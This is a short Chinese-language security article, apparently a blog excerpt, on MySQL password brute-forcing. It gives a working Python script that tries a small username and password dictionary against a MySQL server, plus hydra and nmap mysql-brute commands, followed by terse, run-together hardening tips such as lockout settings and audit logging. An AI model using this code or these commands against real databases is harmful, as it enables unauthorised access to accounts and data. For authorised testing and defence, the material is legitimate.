本文僅供安全研究、授權滲透測試、資產自查使用。未經授權對他人系統進行爆破屬違法行為,嚴禁濫用。
MySQLdb(或 mysqlclient、PyMySQL)驅動#!/usr/bin/env python3
import sys
import mysql.connector # 推薦純 Python 實現的 mysql-connector-python
TARGET_HOST = '127.0.0.1'
TARGET_PORT = 3306
USER_DICT = ['root', 'admin', 'test', 'user']
PASS_DICT = ['', '123456', 'root', 'admin', 'password', '123456789']
def brute():
for user in USER_DICT:
for pwd in PASS_DICT:
try:
conn = mysql.connector.connect(
host=TARGET_HOST, port=TARGET_PORT,
user=user, password=pwd,
connection_timeout=3
)
conn.close()
print(f'[SUCCESS] {user}:{pwd}')
return
except mysql.connector.Error:
pass
print('[FAILED] No valid credentials found.')
if __name__ == '__main__':
brute()
bind-address=127.0.0.1 或 GRANT ... @'127.0.0.1'validate_password 插件 + 定期輪換FAILED_LOGIN_ATTEMPTS、PASSWORD_LOCK_TIME(8.0+)log_error_verbosity=3、MariaDB server_auditnmap --script mysql-brutehydra -L users.txt -P pass.txt mysql://target安全建設是體系工程,單點防禦不足以抵禦持續威脅,請建立「預防-檢測-響應」閉環。